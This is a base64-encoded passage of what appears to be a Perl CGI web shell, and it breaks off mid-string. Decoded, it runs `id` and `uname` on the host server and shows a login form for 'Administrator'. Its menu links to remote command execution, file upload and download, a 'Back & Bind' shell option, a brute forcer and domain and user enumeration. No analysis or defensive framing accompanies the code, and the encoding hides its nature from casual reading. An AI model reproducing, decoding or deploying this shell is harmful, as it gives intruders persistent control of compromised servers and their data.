LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEVuY29kZURpcg0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsNCgkkZGlyID1+IHMvKFxyfFxuKS8vOw0KCXJldHVybiAkZGlyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkaWQgPSBgaWRgIGlmKCEkV2luTlQpOw0KCW15ICRpbmZvID0gYHVuYW1lIC1zIC1uIC1yIC1pYDsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQo8dGl0bGU+by0tLVsgJFZlcnNpb24gXTwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmZjsNCn0NCnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KfQ0KI2RvbWFpbiB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM0NDQ7DQp9DQp0ZCB7DQpjb2xvcjogIzJCQThFQzsNCn0NCi5saXN0ZGlyIHRkew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5saXN0ZGlyIHRoew0KCWNvbG9yOiAjRkY5OTAwOw0KfQ0KLmRpciwuZmlsZQ0Kew0KCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsNCn0NCi5kaXJ7DQoJZm9udC1zaXplOiAxMHB0OyANCglmb250LXdlaWdodDogYm9sZDsNCn0NCnRhYmxlIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQppbnB1dCB7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KY29kZSB7DQpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiB3aGlsZTsNCn0NCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KdGV4dGFyZWEgew0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIEVuY29kZXIobmFtZSkNCnsNCgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsNCgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPg0KCQk8Yj48Zm9udCBzaXplPSIzIj5vLS0tWyAgJEVkaXRQZXJzaW9uIF0tLS1vPC9mb250PjwvYj4NCgk8L3RkPg0KCTx0ZD4NCgkJJGluZm8NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNmZjk5MDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjZmY5OTAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQokaWQNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjRkZGRkZGIiA+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcmxFbmNvZGUoJCl7DQoJbXkgJHN0ciA9IHNoaWZ0Ow0KCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCg0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT